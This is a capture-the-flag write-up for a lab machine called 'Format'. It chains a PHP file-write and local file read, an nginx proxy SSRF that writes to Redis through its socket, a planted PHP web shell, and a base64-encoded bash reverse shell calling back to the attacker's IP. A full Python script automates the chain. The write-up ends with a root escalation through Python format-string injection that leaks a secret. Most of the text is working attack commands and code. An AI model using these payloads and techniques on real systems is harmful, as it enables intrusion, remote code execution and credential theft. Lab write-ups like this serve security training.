Format
Recon
HTTP (80)

We are allowed to register and then add new domain. I tried injecting PHP code inside, but it got replaced by comments.

Gitea
Going back to home page for enumeration I noticed Contribute here! link leading to port 3000, which wasn't discovered by RustScan

Application lives in /var/www/microblob

order.txt
records all the files that are in content directory.

File Write
microblog/microblog-template/edit/index.php
contains some dangerous login, it opens any file given by id
parameter and writes any content wrapped in html.
//add header
if (isset($_POST['header']) && isset($_POST['id'])) {
chdir(getcwd() . "/../content");
$html = "<div class = \"blog-h1 blue-fill\"><b>{$_POST['header']}</b></div>";
$post_file = fopen("{$_POST['id']}", "w");
fwrite($post_file, $html);
fclose($post_file);
$order_file = fopen("order.txt", "a");
fwrite($order_file, $_POST['id'] . "\n");
fclose($order_file);
header("Location: /edit?message=Section added!&status=success");
}
We are able to write to any file, but no code execution.

bulletproof.php
is being included by the code itself so we might achieve RCE this way. But to do that we need to have the file, and for that we need to be pro.
if(file_exists("bulletproof.php")) {
require_once "bulletproof.php";
}
function provisionProUser() {
if(isPro() === "true") {
$blogName = trim(urldecode(getBlogName()));
system("chmod +w /var/www/microblog/" . $blogName);
system("chmod +w /var/www/microblog/" . $blogName . "/edit");
system("cp /var/www/pro-files/bulletproof.php /var/www/microblog/" . $blogName . "/edit/");
system("mkdir /var/www/microblog/" . $blogName . "/uploads && chmod 700 /var/www/microblog/" . $blogName . "/uploads");
system("chmod -w /var/www/microblog/" . $blogName . "/edit && chmod -w /var/www/microblog/" . $blogName);
}
return;
}
function isPro() {
if(isset($_SESSION['username'])) {
$redis = new Redis();
$redis->connect('/var/run/redis/redis.sock');
$pro = $redis->HGET($_SESSION['username'], "pro");
return strval($pro);
}
return "false";
}
LFI
The code is also vulnerable to file read, because the file we write to is added in order.txt
which on page render includes and displays all the fles.
function fetchPage() {
chdir(getcwd() . "/../content");
$order = file("order.txt", FILE_IGNORE_NEW_LINES);
$html_content = "";
foreach($order as $line) {
$temp = $html_content;
$html_content = $temp . "<div class = \"{$line} blog-indiv-content\">" . file_get_contents($line) . "</div>";
}
return $html_content;
}
We can't write to the file, but because it's added in orders.txt
that's why we get LFI.

To pretty print:
└─$ curl http://x.microblog.htb/ -b 'username=n37qtjugse2hd20pefti04af5q' -s | grep 'const html' | sed 's/\\n/\n/g; s/\\t/\t/g; s#\\/#/#g' | grep sh$
</div><div class = \"../../../../../../../../../../../etc/passwd\">root:x:0:0:root:/root:/bin/bash
cooper:x:1000:1000::/home/cooper:/bin/bash
git:x:104:111:Git Version Control,,,:/home/git:/bin/bash
Controlling Proxied Host
/etc/nginx/nginx.conf
is not helpful, but /etc/nginx/sites-enabled/default
was
</div><div class = \"../../../../../../../../../../../etc/nginx/sites-enabled/default\">
...
server {
listen 80;
listen [::]:80;
root /var/www/microblog/app;
index index.html index.htm index-nginx-debian.html;
server_name microblog.htb;
location / {
return 404;
}
location = /static/css/health/ {
resolver 127.0.0.1;
proxy_pass http://css.microbucket.htb/health.txt;
}
location = /static/js/health/ {
resolver 127.0.0.1;
proxy_pass http://js.microbucket.htb/health.txt;
}
location ~ /static/(.*)/(.*) {
resolver 127.0.0.1;
proxy_pass http://$1.microbucket.htb/$2;
}
}
This clearly smells like SSRF, but I wasn't able to get it to work with domain name in the URL.
Google to the rescue: Middleware, middleware everywhere – and lots of misconfigurations to fix
Turns our nginx allows sending requests to endpoints with that structure even if it has http://
prefix and fixed suffix.
Properly urlencode the parts and send like shown in blog. recipe
'/var/run/redis/redis.sock' -> '%2Fvar%2Frun%2Fredis%2Fredis%2Esock'
'x "first-name" "letmein" ' -> 'x%20%22first%2Dname%22%20%22letmein%22%20'
---
└─$ curl http://microblog.htb/static/unix:%2Fvar%2Frun%2Fredis%2Fredis%2Esock:x%20%22first%2Dname%22%20%22letmein%22%20/y -X HSET -b 'username=n37qtjugse2hd20pefti04af5q' -v
Note: The space at the end of Redis command is very important as it's the delimiter for proper HTTP request!

The server returns 502, but as we can see the username on dashboard is changed, meaning Redis was overwritten!
Redis (Update Pro)
Make yourself pro
└─$ curl http://microblog.htb/static/unix:%2Fvar%2Frun%2Fredis%2Fredis%2Esock:x%20%22pro%22%20%22true%22%20/y -X HSET -b 'username=n37qtjugse2hd20pefti04af5q' -v
Pro user's have third option of uploading images.

Reverse Shell
The image upload functionality is not useful for us, but provisionProUser
function created new folder /uploads
where we can try to write php and see what happens

└─$ curl 'http://x.microblog.htb/edit/index.php' -d $'id=../uploads/t.php&header=<?php system($_REQUEST[0]);?>' -b $'username=n37qtjugse2hd20pefti04af5q'
└─$ curl http://x.microblog.htb/uploads/t.php?0=id
<div class = "blog-h1 blue-fill"><b>uid=33(www-data) gid=33(www-data) groups=33(www-data)
</b></div>
└─$ curl http://x.microblog.htb/uploads/t.php -d '0=echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0Ljk5LzQ0NDQgMD4mMQ==|base64 -d|bash'
---
└─$ listen
Connection from 10.129.111.68:59190.
www-data@format:~/microblog/x/uploads$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Current user can't do much, root owns most of the stuff. .git
has same stuff as Gitea.
www-data@format:~$ ls -Alh
total 28K
drwxr-xr-x 8 root root 4.0K May 22 2023 .git
-rw-r--r-- 1 root root 57 Nov 3 2022 README.md
drwxr-xr-x 2 root root 4.0K Apr 18 2023 html
drwx------ 4 www-data www-data 4.0K Nov 30 04:00 microblog
drwxr-xr-x 5 root root 4.0K Apr 18 2023 microblog-template
drwxr-xr-x 4 root root 4.0K Apr 18 2023 microbucket
drwxr-xr-x 2 root root 4.0K Apr 18 2023 pro-files
We might as well check Redis as that was the database.
Reverse Shell (Automated)
The shell died 💀 automated the process...
from base64 import b64encode
from requests import Request, Session as S
from urllib.parse import quote_plus
URL = 'http://{}microblog.htb'
class Auth:
NAME = 'x'
LOGIN = {'username': NAME, 'password': NAME}
REGISTER = {**LOGIN, 'first-name': NAME, 'last-name': NAME}
class Routes:
class App:
BASE = URL.format('app.')
REGISTER = f'{BASE}/register/index.php'
LOGIN = f'{BASE}/login/index.php'
DASHBOARD = f'{BASE}/dashboard/index.php'
class MyApp:
BASE = URL.format(Auth.NAME + '.')
EDIT = f'{BASE}/edit/index.php'
with S() as session:
session.proxies = {'http': 'http://127.0.0.1:8080'}
session.post(Routes.App.REGISTER, data=Auth.REGISTER)
print(f'[+] Registered...')
session.post(Routes.App.LOGIN, data=Auth.LOGIN)
print(f'[+] Logged in...')
session.post(Routes.App.DASHBOARD, data={'new-blog-name': Auth.NAME})
print(f'[+] New blog created...')
cookies = dict(session.cookies.items())
print(f'[+] Cookies: {cookies}')
url = f'{URL.format("")}/static/unix:/var/run/redis/redis.sock:{Auth.NAME} "pro" "true" /y'
print(f'[+] URL: {url}')
req = Request(method="HSET", url=url, cookies=cookies)
resp = session.send(session.prepare_request(req))
print(f'[+] Upgraded account to Pro')
revshell = b'/bin/bash -i >& /dev/tcp/10.10.14.99/4444 0>&1'
payload = {
'id': f'../uploads/{Auth.NAME}.php',
'header': f'<?php system("echo {b64encode(revshell).decode()} | base64 -d | bash");?>'
}
session.post(Routes.MyApp.EDIT, data=payload)
revshell_url = f'{Routes.MyApp.BASE}/uploads/{Auth.NAME}.php'
print(f'[+] Reverse Shell Created: {revshell_url}')
print(f'[+] Triggering Reverse Shell')
session.get(revshell_url)
Redis Enumeration
└─$ pwncat -lp 4444
[12:43:41] Welcome to pwncat 🐈! __main__.py:164
[12:43:47] received connection from 10.129.111.68:32840 bind.py:84
[12:43:49] 10.129.111.68:32840: registered new host w/ db manager.py:957
(local) pwncat$
(remote) www-data@format:/var/www/microblog/x/uploads$
(remote) www-data@format:/var/www/microblog/x/uploads$ redis-cli
Could not connect to Redis at 127.0.0.1:6379: Connection refused
not connected> exit
(remote) www-data@format:/var/www/microblog/x/uploads$ redis-cli -s /var/run/redis/redis.sock
redis /var/run/redis/redis.sock> INFO keyspace
# Keyspace
db0:keys=10,expires=6,avg_ttl=832243
redis /var/run/redis/redis.sock> SELECT 0
OK
redis /var/run/redis/redis.sock> KEYS *
1) "PHPREDIS_SESSION:85n8j6sbhudeel673p4lm8bvo6"
2) "cooper.dooper:sites"
3) "x:sites"
4) "x"
5) "cooper.dooper"
6) "PHPREDIS_SESSION:krc18f09i686ek42014ec70dr3"
7) "PHPREDIS_SESSION:6qcbstlq986496rn79lm1672dp"
8) "PHPREDIS_SESSION:55pb68qjadb0r3be7mqk9dsd3i"
9) "PHPREDIS_SESSION:e39m4ls9f88cs2qse6amhfb0o0"
10) "PHPREDIS_SESSION:n37qtjugse2hd20pefti04af5q"
redis /var/run/redis/redis.sock> GET "cooper.dooper:sites"
(error) WRONGTYPE Operation against a key holding the wrong kind of value
redis /var/run/redis/redis.sock> LRANGE "cooper.dooper:sites" 0 -1
1) "sunny"
redis /var/run/redis/redis.sock> GET "cooper.dooper:sites:sunny"
(nil)
redis /var/run/redis/redis.sock> GET "cooper.dooper:sites.sunny"
(nil)
redis /var/run/redis/redis.sock> LRANGE "cooper.dooper:sites:sunny" 0 -1
(empty array)
redis /var/run/redis/redis.sock> TYPE "cooper.dooper"
hash
redis /var/run/redis/redis.sock> HGETALL "cooper.dooper"
1) "username"
2) "cooper.dooper"
3) "password"
4) "zooperdoopercooper"
5) "first-name"
6) "Cooper"
7) "last-name"
8) "Dooper"
9) "pro"
10) "false"
SSH (22)
Creds:
cooper:zooperdoopercooper
└─$ ssh cooper@microblog.htb
cooper@format:~$ id
uid=1000(cooper) gid=1000(cooper) groups=1000(cooper)
User.txt
cooper@format:~$ cat user.txt
6fa0af1ab64da09090829cd703ebe738
Privilege Escalation
cooper@format:~$ sudo -l
[sudo] password for cooper:
Matching Defaults entries for cooper on format:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User cooper may run the following commands on format:
(root) /usr/bin/license
cooper@format:~$ file /usr/bin/license
/usr/bin/license: Python script, ASCII text executable
cooper@format:~$ cat /usr/bin/license
#!/usr/bin/python3
import base64
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
from cryptography.fernet import Fernet
import random
import string
from datetime import date
import redis
import argparse
import os
import sys
class License():
def __init__(self):
chars = string.ascii_letters + string.digits + string.punctuation
self.license = ''.join(random.choice(chars) for i in range(40))
self.created = date.today()
if os.geteuid() != 0:
print("")
print("Microblog license key manager can only be run as root")
print("")
sys.exit()
parser = argparse.ArgumentParser(description='Microblog license key manager')
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument('-p', '--provision', help='Provision license key for specified user', metavar='username')
group.add_argument('-d', '--deprovision', help='Deprovision license key for specified user', metavar='username')
group.add_argument('-c', '--check', help='Check if specified license key is valid', metavar='license_key')
args = parser.parse_args()
r = redis.Redis(unix_socket_path='/var/run/redis/redis.sock')
secret = [line.strip() for line in open("/root/license/secret")][0]
secret_encoded = secret.encode()
salt = b'microblogsalt123'
kdf = PBKDF2HMAC(algorithm=hashes.SHA256(),length=32,salt=salt,iterations=100000,backend=default_backend())
encryption_key = base64.urlsafe_b64encode(kdf.derive(secret_encoded))
f = Fernet(encryption_key)
l = License()
#provision
if(args.provision):
user_profile = r.hgetall(args.provision)
if not user_profile:
print("")
print("User does not exist. Please provide valid username.")
print("")
sys.exit()
existing_keys = open("/root/license/keys", "r")
all_keys = existing_keys.readlines()
for user_key in all_keys:
if(user_key.split(":")[0] == args.provision):
print("")
print("License key has already been provisioned for this user")
print("")
sys.exit()
prefix = "microblog"
username = r.hget(args.provision, "username").decode()
firstlast = r.hget(args.provision, "first-name").decode() + r.hget(args.provision, "last-name").decode()
license_key = (prefix + username + "{license.license}" + firstlast).format(license=l)
print("")
print("Plaintext license key:")
print("------------------------------------------------------")
print(license_key)
print("")
license_key_encoded = license_key.encode()
license_key_encrypted = f.encrypt(license_key_encoded)
print("Encrypted license key (distribute to customer):")
print("------------------------------------------------------")
print(license_key_encrypted.decode())
print("")
with open("/root/license/keys", "a") as license_keys_file:
license_keys_file.write(args.provision + ":" + license_key_encrypted.decode() + "\n")
#deprovision
if(args.deprovision):
print("")
print("License key deprovisioning coming soon")
print("")
sys.exit()
#check
if(args.check):
print("")
try:
license_key_decrypted = f.decrypt(args.check.encode())
print("License key valid! Decrypted value:")
print("------------------------------------------------------")
print(license_key_decrypted.decode())
except:
print("License key invalid")
print("")
The script is vulnerable to Format String Injection, because we are able to control fstring we are allowed to make modifications. Like using license.created
field and not the raw string itself.

redis /var/run/redis/redis.sock> hset privesc username y; hset privesc first-name z; hset privesc last-name "{license.__init__.__globals__}"
---
cooper@format:~$ sudo /usr/bin/license -p privesc
Plaintext license key:
------------------------------------------------------
<snip>'secret': 'unCR4ckaBL3Pa$$w0rd', 'secret_encoded': b'unCR4ckaBL3Pa$$w0rd'<snip>

Creds:
root:unCR4ckaBL3Pa$$w0rd
Root.txt
root@format:~# cat /root/root.txt
259b5fcd4d403908f44ea9159082086c
Last updated